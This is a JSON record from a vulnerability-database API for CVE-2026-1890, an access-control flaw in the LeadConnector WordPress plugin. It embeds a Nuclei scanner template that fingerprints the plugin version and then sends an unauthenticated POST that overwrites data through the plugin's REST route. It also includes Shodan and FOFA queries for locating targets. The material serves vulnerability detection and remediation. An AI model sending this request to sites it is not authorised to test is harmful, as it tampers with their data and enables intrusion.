{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-1890/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-1890/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-1890/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-1890/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-1890/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-1890/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-1890"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-1890"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-1890.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2026-1890\n\ninfo:\n  name: LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   LeadConnector WordPress plugin < 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.\n  impact: |\n   Unauthenticated attackers can overwrite existing data, potentially leading to data tampering and loss of integrity.\n  remediation: |\n   Update to version 3.0.22 or later.\n  reference:\n    - https://wpscan.com/vulnerability/9b88be70-b5cc-4a3f-a871-64d61cb02076/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1890\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-1890\n    epss-score: 0.00682\n    epss-percentile: 0.5261\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: leadconnector\n    product: leadconnector\n    fofa-query: body=\"/wp-content/plugins/leadconnector/\"\n    shodan-query: http.html:\"leadconnector\"\n    tags: cve,cve2026,wordpress,wp-plugin,leadconnector,unauth,rest-api,intrusive,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/leadconnector/README.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"LeadConnector\")'\n          - 'compare_versions(lsversion, \">=1.0.0\", \"<=3.0.21\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        internal: true\n        regex:\n          - 'Stable tag: ([\\d.]+)'\n        group: 1\n\n  - raw:\n      - |\n        POST /wp-json/lc_internal_api/v1/save_custom_values HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"custom_values\":[{\"fieldKey\":\"{{randstr}}\",\"id\":\"1\"}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"status\", \"success\")'\n        condition: and\n# digest: 4b0a00483046022100c4dcfd7147be65fc566acd9a6bbca29da88ec11dc7e35e833418f1ff5ed9ac0b022100a9c79f9bd52f4fcacff7c9d6b15941a15ec66545bf8f60c135966f08f3678850:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-1890"}